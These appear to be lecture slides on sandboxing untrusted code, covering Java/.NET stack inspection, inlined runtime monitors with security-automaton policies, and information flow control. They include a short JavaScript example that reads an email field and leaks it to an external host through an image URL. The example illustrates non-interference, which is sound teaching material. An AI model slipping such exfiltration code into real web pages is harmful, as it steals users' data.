Sandboxing untrusted code: policies and mechanisms

Frank Piessens
(Frank.Piessens@cs.kuleuven.be)
Overview

• Introduction
• Java and .NET Sandboxing
• Runtime monitoring
• Information Flow Control
• Conclusion
Introduction

• The term “software security” can mean many different things:
  1. Techniques to prevent or detect tampering with software
  2. Techniques to prevent or detect the introduction of software vulnerabilities during development
  3. Techniques to detect or block attacks that exploit remaining software vulnerabilities
  4. Techniques to limit the damage that malicious or buggy software could cause

• This talk will focus on (4)
Problem statement

• Many applications or devices can be extended with new software components at run-time:
  – Anything with a general purpose OS
    • PC’s, but also PDA’s, cell-phones, set-top boxes
  – Anything that supports a scripting language
    • Browsers, various kinds of server software
  – Anything that supports functionality extensions
    • Media players, smartcards, anything with device drivers

• How can one limit the damage that could be done by such new software components?

• More precisely: how can we enforce security policies on such software?
Terminology and concepts

• A *component* is a piece of software that is:
  – A unit of deployment
  – Third party composable

• A system can contain/aggregate multiple components
  – Some of these components are trusted more than others

• A system can be extended at runtime with new components

• We will sometimes refer to the system in which components are plugged as the *framework*
## Examples

<table>
<thead>
<tr>
<th>Framework</th>
<th>Components</th>
</tr>
</thead>
<tbody>
<tr>
<td>Operating system</td>
<td>Applications</td>
</tr>
<tr>
<td>Web mashup</td>
<td>HTML iframes</td>
</tr>
<tr>
<td>Media player</td>
<td>Audio/video codecs</td>
</tr>
<tr>
<td>Web browser</td>
<td>plugins</td>
</tr>
<tr>
<td>Java Virtual Machine</td>
<td>Java classes or jar files</td>
</tr>
<tr>
<td>.NET Common Language Runtime</td>
<td>.NET Assemblies</td>
</tr>
<tr>
<td>Hypervisor</td>
<td>Virtual Machines</td>
</tr>
<tr>
<td>Operating system</td>
<td>Device drivers</td>
</tr>
<tr>
<td>Eclipse IDE</td>
<td>Eclipse plugins</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
</tr>
</tbody>
</table>
Example policies

• Standard access control
  – “The component can only use a well-designated subset of the functionality of the framework”

• Stateful access control
  – “The component can send at most 5 SMS’s”

• Liveness
  – “The component should eventually respond to all requests”

• Information flow control
  – “The component should not leak any confidential data”
Example mechanisms

• Run-time monitoring / interception
  – i.e. The Lampson model again (see Access Control session)
  – E.g. OS access control, Java stackwalking, ...

• Static analysis
  – Try to determine if the code is OK by inspecting it
  – E.g. Java bytecode verifier, virus scanners, ...

• Program rewriting / execution stream editing
  – Modify the program/execution to make it secure
  – E.g. Inlined reference monitors, virtualization, ...
Overview

• Introduction
• Java and .NET Sandboxing
• Runtime monitoring
• Information Flow Control
• Conclusion
Java/.NET: System and components

- The VM (and some of its libraries) are the framework
- Java Jar files or .NET assemblies are the components
Java/.NET Sandboxing: overview

- **Permissions** encapsulate rights to access resources or perform operations
- A *security policy* assigns permissions to each component – the *static* permissions
- Every resource access or sensitive operation contains an explicit check that:
  - Through *stack inspection* finds out what components are active
  - Returns silently if all is OK, and throws an exception otherwise
Permissions

• Permission is a representation of a right to perform some actions

• Examples:
  – FilePermission(name, mode) (wildcards possible)
  – NetworkPermission
  – WindowPermission

• Permissions have a set semantics, hence one permission can imply (be a superset of) another one
  – E.g. FilePermission(“*”, “read”) implies FilePermission(“x”, “read”)

• Developers can define new custom permissions
Security Policy

• A security policy assigns permissions to components
• Typically implemented as a configurable function that maps evidence to permissions
• Evidence is security-relevant information about the component:
  – Where did it come from?
  – Was it digitally signed and if so by whom?
• When loading a component, the VM consults the security policy and remembers the permissions
Components and their permissions in VM memory
Stack inspection

• Every resource access or sensitive operation exposed by the platform class library is protected by a demandPermission(P) call for an appropriate permission P
• The algorithm implemented by demandPermission() is based on stack inspection or stack walking
• NOTE: the fact that this is secure strongly depends on the safety of the programming language
  – Why would this not work in C?
Process

C1  C2

C3

C4

C5

C6

C7

C8

Protection domains

Thread
Stack walking: basic concepts

- Suppose thread T tries to access a resource
- Basic rule: this access is allowed if:
  - All components on the call stack have the right to access the resource
Stack walk modifiers

• Basic algorithm is too restrictive in some cases
• E.g. Giving a partially trusted component the right to open marked windows without giving it the right to open arbitrary windows
• Solution: stack walk modifiers
Stack walk modifiers

• **Enable_permission(P):**
  – Means: don’t check my callers for this permission, I take full responsibility
  – Essential to implement *controlled* access to resources for less trusted code

• **Disable_permission(P):**
  – Means: don’t grant me this permission, I don’t need it
  – Supports principle of least privilege
Stack walk modifiers: examples

DemandPermission(P1) fails because PD1 does not have Permission P1
Stack walk modifiers: examples

Stack grows in this direction

EnablePermission(P1)

PD1 → PD2 → PD3

P4,P2 → P1,P2 → P1,P2,P3

demandPermission(P1)

DemandPermission(P1) succeeds
Stack walk modifiers: examples

Stack grows in this direction

PD1

P4,P2

PD2

P1,P2

PD3

P1,P2,P3

DisablePermission(P2)

demandPermission(P2)

DemandPermission(P2) fails
The applet window example

class Applet {
    void showResults() {
        Lib.openMarkedWindow();
        ...
    }
}

class Lib {
    void openMarkedWindow() {
        // enable WindowPermission
        openWindow();
        // make sure this window
        // is labelled
    }
}

(a) demandPermission fails
(b) demandPermission succeeds

showResults()
openMarkedWindow()
oppenWindow()
Security automaton for stack walking

// NOTE: only support for enabling of permissions, atomic permissions, // and single threading
type StackFrame = <Component, Set<Permission>> // set of enabled perms
Set<Component> components = new Set();
Map<Component, Set<Permission>> perms = new Map(); // static permissions
List<StackFrame> callstack = new List();

// Access checks
void demand(Permission p)
  requires demandOK(callstack, p); {}

bool demandOK(List<StackFrame> stack, Permission p) // pure helper function
{  foreach (<cp, ep> in stack) {
      if ! (p in perms[cp]) return false;
      if (p in ep) return true;
    };
    return true;
}
Security automaton for stack walking

// Enabling a permission
void enable(Permission p)
    requires (let <c,ep> = callstack.Top in ( p in perms[c] ));
{
    <c,ep> = callstack.Pop();
    ep[p] = true;
    callstack.Push(<c, ep>);
}

// calling a function in component c
void call(Component c)
    requires (c in components);
{
    callstack.Push(<c,{}>);
}

// returning from a function
void return() requires true;
{
    callstack.Pop();
}
Overview

- Introduction
- Java and .NET Sandboxing
  - Runtime monitoring
- Information Flow Control
- Conclusion
Runtime Monitoring

• Runtime monitoring is about observing what a program is doing
  – And then react if it does something not allowed by the security policy

• Key issues:
  – What events do you monitor?
  – How do you monitor them?
  – How do you define the security policy?
  – What do you do when the policy is violated?
    • We will terminate the program
What events to monitor?

• Granularity:
  – Arbitrary (virtual) machine instructions
  – Operating system calls
  – Method invocations

• Trade-off between:
  – Expressivity
  – Simplicity and Performance

• Common choice:
  – Events = method invocations
Abstraction level of events

- Event = API method invocation (from inside application to platform libraries)
How to monitor?

• Explicit monitoring
  – By changing the virtual machine

• Inlined monitoring
  – By program rewriting
How to define policies?

• Policies are specified as security automata
  – Security relevant events of an application are transitions from the application into the platform libraries
  – Application basically generates traces of such events
  – Policy is an automaton that specifies the set of acceptable traces, possibly using context info

• Example automaton:
  – “no send after read”
The S3MS.NET Runtime Monitor

• Is an enforcement mechanisms for policies that are safety properties
  – Research prototype developed in FP6 project S3MS
  – Supports arbitrary security automata as policies
  – Enforces these policies by program rewriting
    • i.e. By inlining security checks

• Design and implementation:
  – Several people at K.U.L: Pieter Philippaerts, Lieven Desmet and Dries Vanoverberghe
  – Other European universities: Trento, KTH, ...
Policy language: ConSpec

(Designed in the European project S3MS)

SCOPE Session
SECURITY STATE
  int activeConnections = 0;
  int maxConnections = 2;

PERFORM
  activeConnections < maxConnections  ->  { }

PERFORM
  true  ->  { activeConnections++; }
Caller vs Callee side inlining

public void ClientMethod(…) {
    //Caller-side security checks
    int val = SecurityRelevantMethod(…);
    // Caller-side security checks
}

public int SecurityRelevantMethod(…){
    // Callee-side security checks
    //original code
    // Callee-side security checks
}

• Callee-side:
  – Complete mediation is easy
  – Rewrites platform libraries
  – Selectively allowing calls based on their origin is impossible => bad fit with our events

• We use Caller-side inlining
Policy decision point

- Policy is represented as a **policy decision point**
  - with a method per SRE
  - this method manages the security state, and either
    - Returns silently, or
    - Throws a Security Exception

Application DLL → Rewriting → Monitored Application DLL → Security events → Policy DLL

Virtual Machine + Platform API Libraries
Prototype implementation

• Efficiently enforces flexible security policies on applications running on the .NET framework
  – Both the full framework and the compact framework
  – Without modifications to the virtual machine or the system libraries

• **Flexible** policies means:
  – Stateful (e.g. resource quota)
  – History based (e.g. privacy policies)
  – Context based (e.g. “only on business hours”)
Black, it's your move

Waiting on Black's move

Diagram showing a sequence of operations:

0: Close()
1: BeginWrite()
2: GetStream()
3: BeginWrite()
4: BeginWrite()
5: BeginWrite()
6: BeginWrite()
7: BeginWrite()
8: BeginWrite()
9: BeginWrite()
10: GetStream()
11: GetStream()
The game finished unexpectedly.

The game finished unexpectedly.
Comparison

• Java Security Architecture
  – Is slightly more flexible in the places where security checks can be done
  – Is slightly more performant

• An inlining based architecture:
  – Supports more expressive policies
  – Is more “future-proof” (no hard-wiring of security checks)
  – Closes some known holes in the JSA
Safety properties: limits of run-time monitoring

• A policy defines a **property** if it classifies program executions in bad ones and good ones
  – Example: program should not access `/etc/passwd`
  – Counter-example: average response time should be 1 sec

• A policy defines a **safety property** if bad executions never become good again
  – Example: program should not access `/etc/passwd`
  – Counter-example: program should close all files it opens

• Safety properties are (more or less) the policies that can be enforced by run-time monitoring
Overview

• Introduction
• Java and .NET Sandboxing
• Runtime monitoring
• Information Flow Control
• Conclusion
Introduction

• Runtime monitoring can only enforce safety properties
• But some interesting and relevant policies are not safety properties
• An important example is information flow control
  – “Secret data should not leak to public channels”
  – “Low integrity data should not influence high-integrity data”
Non-interference

• A base-line policy (usually too strict – needs further relaxing) is non-interference:
  – Classify the inputs and outputs of a program into high-security and low-security
  – The low-outputs should not “depend on” the high inputs
  – More precisely: there should not exist two executions with the same low inputs but different high outputs
    • This is clearly not a safety property!
    • It is not even a property!
Illustration: non-interference

Secure:
Out_low := In_low + 6

Insecure:
Out_low := In_high

Insecure:
if (In_high > 10) {
    Out_low := 3;
} else Out_low := 7
Example: information flow control in Javascript

• Modern web applications use client-side scripts for many purposes:
  – Form validation
  – Improving interactivity / user experience
  – Advertisement loading
  – ...

• Malicious scripts can enter a web-page in various ways:
  – Cross-site-scripting (XSS)
  – Malicious ads
  – Man-in-the-middle
  – ...
Example: information flow control in Javascript

```javascript
var text = document.getElementById('email-input').text;
var abc = 0;

if (text.indexOf('abc') !== -1) {
    abc = 1;
}

var url = 'http://example.com/img.jpg' + '?t=' + escape(text) + abc;

document.getElementById('banner-img').src = url;
```

HIGH INPUT

LOW OUTPUT
Example: information flow control in Javascript

```javascript
var text = document.getElementById('email-input').text;
var abc = 0;

if (text.indexOf('abc') != -1) {
    abc = 1;
}

var url = 'http://example.com/img.jpg' + '?t=' + escape(text) + abc;

document.getElementById('banner-img').src = url;
```
Enforcing non-interference

• Static, compile-time techniques
  – Classify (=type) variables as either high or low
  – Forbid:
    • Assignments from high expressions to low variables
    • Assignments to low variables in “high contexts”
    • ...

• Two mature languages:
  – Jif: a Java variant
  – FlowCaml: an ML variant

• Experience: quite restrictive, labour intensive
  – Probably only useful in high-security settings
Enforcing non-interference

• Runtime techniques
  – Approximate non-interference with a safety property
  – Label all data entering the program with an appropriate security level
  – Propagate these levels throughout the computation
  – Block output of high-labeled data to a low output channel

• Several mature and practical systems, but all with remaining holes

• Some sound systems, but too expensive
Enforcing non-interference

• Alternative runtime technique: secure multi-execution
  – Run the program twice: a high and a low copy
  – Replace high inputs by default values for the low copy
  – Suppress high outputs in the low copy and low outputs in the high copy

• First fully sound and fully precise mechanism

• But obviously expensive
  – Worst-case double the execution time or double the memory usage

• See: Devriese and Piessens, IEEE Oakland S&P 2010
var text = document.getElementById('email-input').text;
var abc = 0;
if(text.indexOf('abc')!=-1) { abc = 1 }
var url = 'http://example.com/img.jpg'
   + '?t=' + escape(text) + abc;
document.getElementById('banner-img')
   .src = url;

(a) Execution at $L$ security level.

var text = document.getElementById('email-input').text;
var abc = 0;
if(text.indexOf('abc')!=-1) { abc = 1 }
var url = 'http://example.com/img.jpg'
   + '?t=' + escape(text) + abc;
document.getElementById('banner-img')
   .src = url;

(b) Execution at $H$ security level.
Summary

• If we are sandboxing code, it is in principle possible to enforce more expressive policies than safety properties
  – Because we can reason about alternative executions
• Several policies important in practice are not safety properties
  – Non-interference
  – Availability
  – SLA’s
• But further research is needed towards good enforcement mechanisms
Overview

• Introduction
• Java and .NET Sand boxing
• Runtime monitoring
• Information Flow Control

• Conclusion
Conclusion

• There is a trend towards making software systems open and extensible
• This requires additional security mechanisms to mitigate the risks of loading new code
• The enforcement of safety properties through runtime monitoring is relatively well-understood
• The enforcement of stronger properties is ongoing research